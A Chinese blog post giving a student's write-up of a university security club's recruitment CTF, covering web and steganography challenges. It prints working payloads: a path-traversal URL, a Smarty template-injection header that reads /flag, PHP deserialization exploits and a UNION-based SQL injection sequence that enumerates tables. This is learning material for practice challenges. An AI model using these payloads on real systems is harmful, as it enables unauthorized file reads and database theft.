CQUISA纳新赛 wp

·
学习日记 ctf November 6, 2021 浏览123次

前言

本篇write up并未涵盖所有题目。
其中有我没做出来的题,有我觉得没有意义写解答的题(因为过于简单。是经过培训就会做、但只看答案又看不明白的题)

目录:

web

简单的ssrf

littel trick

web - 简单的ssrf

题目:

<?php 
echo'<center><strong>welc0me to CQUISA</strong></center>'; 
highlight_file(__FILE__); 
$url = $_GET['url']; 
if(preg_match('/cquisa\.com/',$url)){ 
    if(!preg_match('/php|file|bzip|zlib|base|data|zip/i',$url)){ 
        $url=file_get_contents($url); 
        echo($url); 
    }else{ 
        echo('error!!'); 
    } 
}else{ 
    echo("error"); 
} 
?> error

file_get_contents 在获取数据时会先判断协议,如果协议无法识别,就会认为它是个目录。
php如果识别不了就会当成一个目录 在进行目录穿越,穿越到根目录读取flag

故EXP:
?url=cquisa.com../../../../../../../../flag

web - Smarty_SSTI

这道题详细题解:https://www.freebuf.com/articles/web/264615.html

EXP:

X-Forwarded-For: {if var_dump(file_get_contents('/flag')) }{/if}

web - little trick

学习标签:#php序列化 #php Hash比较漏洞

这道题提示说是2020国赛原题,可惜我并没有去搜这一年的国赛,也没有仔细看提示2的这篇文章,不然不会耗这么久……

作为新手,我上网搜索“php md5相等 !==”,就出来了很多文章,但是都不太一样。

<?php 
class trick{ 
    public $trick1; 
    public $trick2; 
    public function __destruct(){ 
        $this->trick1 = (string)$this->trick1; 
        if(strlen($this->trick1) > 5 || strlen($this->trick2) > 5){ 
            die("you are so long"); 
        } 
        if($this->trick1 !== $this->trick2 && md5($this->trick1) === md5($this->trick2) && $this->trick1 != $this->trick2){ 
            echo file_get_contents("/flag"); 
        } 
    } 
} 
highlight_file(__FILE__); 
unserialize($_GET['cquisa']);

分析一下题目
trick1在析构函数里被转换成了string类型,两个变量不全等,但md5相同,根据搜出来的资料有以下解决办法:

  1. md5的param不是string是会返回null,这样两个就相等
  2. 找到其md5开头是'0e'的字符串,这样就弱相等了

方案1、2经过测试都不适用这道题。
我想了很久想到了特殊常量INF,这样弱不相等而且md5相等了。

EXP:

<?php
class trick{
    public $trick1;
    public $trick2;
}

$tr = new trick();
$tr->trick1 = INF;
$tr->trick2 = INF;
echo serialize($tr);

web - easy sql

据说是hello world级别的sql注入,现在回看也的确是这样,但因为一个限制导致网上很多搜出来的很多命令用不了,走了很多弯路

1 and 1=1 //true
1 and 1=2 //true
1' or 1=1# //这张表所有数据都出来了

可以推测语句是

select 1,2 from xxx where id = '1'

那么干这么几件事:得到所有表名,得到目标表的列名,查询flag

1. 得到所有表名

用show tables,提示no results,一个比较麻烦的限制就是结果中一定要是两列的数据,少一列就会报无结果

所以得用select的方式才行
-1' union select null,table_name FROM information_schema.TABLES WHERE table_schema = ( SELECT DATABASE ( ) )#

2. 得到目标表的列名

-1' union select null,COLUMN_NAME from information_schema.columns where table_name='1919810931114514'#

3. 查询flag

最后得到EXP:

-1'  union select null,flag from `1919810931114514` where 1=1#

web - unserialize

学习标签:#php反序列化 #php反序列化字符串逃逸

题目:

<?php 
    error_reporting(0); 
    highlight_file(__FILE__); 

    class a 
    { 
        public $uname; 
        public $password; 
        public function __construct($uname,$password) 
        { 
            $this->uname=$uname; 
            $this->password=$password; 
        } 
        public function __wakeup() 
        { 
                if($this->password==='easy') 
                { 
                    include('flag.php'); 
                    echo $flag;     
                } 
                else 
                { 
                    echo 'wrong password'; 
                } 
            } 
        } 

    function filter($string){ 
        return str_replace('challenge','easychallenge',$string); 
    } 

    $uname=$_GET[1]; 
    $password=1; 
    $ser=filter(serialize(new a($uname,$password))); 
    $test=unserialize($ser); 
?> wrong password

字符串逃逸的基础题型
可以看这篇文章了解:https://www.freebuf.com/articles/web/285985.html

利用文中提到的原理,EXP为:
challengechallengechallengechallengechallengechallengechallengechallenge";s:8:"password";s:4:"easy";aaa}

misc - 复仇者联盟

分析文件

下载下来得到:

  • flag.zip
  • other_muisc.mp3 (muisc不知道是不是故意拼错的 misc)

flag.zip

file与binwalk共同分析,得知这就是个压缩文件,于是fcrack暴力破解一下,很无奈,不知道密码规模的情况下大概率跑不出来,于是还是去分析other_muisc.mp3吧

other_muisc.mp3

看到mp3就知道是音频隐写。播放mp3,发现学姐唱得真好听,除此之外没什么发现。

binwalk看一眼:没有什么特殊轨道。
2021-10-17-10-29-21

由此分析,应该就是在文件末尾加了几行东西,所以通过HEX Editor打开,
2021-10-17-10-32-04
在文件末尾看到了cqunb,为了印证这个字符串有用,跑一下strings,
2021-10-17-10-33-14
包含cqu的内容就只有cqunb,人为设置的概率很大了。

百度搜得音频隐写的常用工具MP3Steno,输入cqunb,得到了藏在音频中的txt
2021-10-17-10-36-21

解压flag.zip,得到这串文本

+++++ +++[- >++++ ++++< ]>+++ .<+++ [->++ +<]>+ ++++. ++++. <+++[ ->---
<]>-- -.<++ +[->+ ++<]> +.<++ ++[-> ----< ]>--. <++++ +++[- >++++ +++<]
>++++ +++++ .<+++ ++++[ ->--- ----< ]>--. <++++ +[->+ ++++< ]>.++ +++++
+.<++ +++++ [->-- ----- <]>-- ----- .<+++ +++[- >++++ ++<]> +++++ +++++
.<+++ +[->- ---<] >---- ---.< +++++ ++[-> +++++ ++<]> .<+++ ++++[ ->---
----< ]>--- -.<++ ++++[ ->+++ +++<] >++++ +++++ +.<++ ++[-> ----< ]>-.<
+++++ [->++ +++<] >+++. <

这可真是盖了帽了我的(),这东西我熟啊,不就是brainfuck吗!谷歌brainfuck在线,随便找一个解释器,得到flag:

CQUISA{Hai1_HyDra}
  • 记银川Evangelion终线下观影活动
  • Final Cut Pro Note
取消回复

说点什么?
Title
分析文件
flag.zip
other_muisc.mp3

© 2022 忧末的茶馆. Using Typecho & Moricolor.

宁ICP备17002477号

ß